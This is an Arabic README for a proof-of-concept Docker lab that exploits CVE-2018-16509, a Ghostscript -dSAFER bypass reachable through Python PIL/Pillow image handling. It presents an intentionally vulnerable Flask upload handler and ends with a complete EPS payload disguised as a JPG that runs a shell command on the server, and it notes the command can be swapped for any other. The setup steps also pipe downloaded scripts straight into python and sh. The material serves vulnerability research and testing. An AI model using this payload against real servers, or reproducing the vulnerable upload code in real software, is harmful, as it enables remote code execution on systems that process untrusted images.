
PoC + بيئة Docker لتنفيذ أوامر شل عن بُعد في Python PIL/Pillow عبر Ghostscript CVE-2018-16509
مستوحى من https://github.com/ysrc/PIL-RCE-By-GhostButt (PIL/Pillow RCE عبر CVE-2017-8291). يستخدم إصدار بيئة docker هذا الإصدار الأحدث من Ghostscript (v9.23) واستغلالًا أحدث (CVE-2018-16509).
Ghostscript هي مجموعة برمجيات مبنية على مترجم للغات وصف الصفحات من Adobe Systems: PostScript و Portable Document Format (PDF). بشكل ما، يوجد Ghostscript على الخادم الإنتاجي (مثل /usr/local/bin/gs) حتى عندما لا يستخدمه أي تطبيق مباشرةً، لأنه يُثبَّت كاعتماد لبرمجيات أخرى (مثل ImageMagick). تم اكتشاف مجموعة من الثغرات في Ghostscript؛ إحداها هي CVE-2018-16509 (اكتشفها Tavis Ormandy من Google Project Zero)، وهي ثغرة تتيح استغلال تجاوز -dSAFER في Ghostscript قبل الإصدار v9.24 لتنفيذ أوامر عشوائية عبر معالجة استعادة (grestore) فاشلة في PostScript لتعطيل LockSafetyParams وتجنب invalidaccess. هذه الثغرة قابلة للوصول عبر مكتبات مثل ImageMagick أو مكتبات الصور في لغات البرمجة التي تحتوي على غلاف Ghostscript (PIL/Pillow في هذا المثال).
لأغراض الاختبار وإثبات المفهوم، يمكننا تجربة الاستغلال في بيئة docker.
ثبّت docker/docker-compose على Ubuntu:
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
قد تختلف خطوات تثبيت docker و docker-compose قليلًا لأنظمة التشغيل الأخرى، يرجى الرجوع إلى توثيق docker للحصول على التفاصيل.
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
يمكن الوصول إلى تطبيق Flask القابل للاستغلال عبر http://127.0.0.1:8000. يمكنك إيقاف البيئة بعد الاختبار.
docker-compose down -v
يمكنك رفع rce.jpg (صورة EPS مصممة خصيصًا، وليست JPG حقيقية) لتنفيذ touch /tmp/got_rce على الخادم. وللإثبات، يمكنك تنفيذ docker exec [CONTAINER_ID] ls -alt /tmp. للحصول على CONTAINER_ID، يمكنك التحقق عبر docker container ls. لتغيير الأمر المنفذ إلى أوامر أخرى، يمكنك تعديل touch /tmp/got_rce مباشرةً في rce.jpg.
يمكنك الرجوع إلى شرح الثغرة الذي كتبه Tavis Ormandy في oss-security.
يمكنك الاطلاع على الكود المصدري لغلاف Ghostscript الخاص بـ PIL/Pillow في EPSImagePlugin.py.
هذا هو الكود القابل للاستغلال في app.py:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
سيتم تحميل محتوى الملف المرفوع عبر img = Image.open(img_path). يكتشف PIL تلقائيًا ما إذا كانت الصورة صورة EPS (مثال: إضافة %!PS-Adobe-3.0 EPSF-3.0 في بداية الملف) وسيستدعي _open() في فئة EpsImageFile داخل EPSImagePlugin.py. لتجنب raise IOError("cannot determine EPS bounding box")، يجب إضافة صندوق إحاطة (bounding box) إلى الملف (مثال: %%BoundingBox: -0 -0 100 100).
سيتم معالجة جسم صورة EPS بواسطة ثنائي Ghostscript عبر subprocess كما نرى في EPSImagePlugin.py داخل دالة Ghostscript.
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
يتم استدعاء الكود أعلاه عند استدعاء load في Image.py، لذا فإن مجرد فتح الصورة لن يؤدي إلى تفعيل الثغرة. الدوال مثل resize و crop و rotate و save ستستدعي load وتفعّل الثغرة.
بالدمج مع POC من Tavis Ormandy، يمكننا تصميم rce.jpg لتنفيذ أوامر شل عن بُعد.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops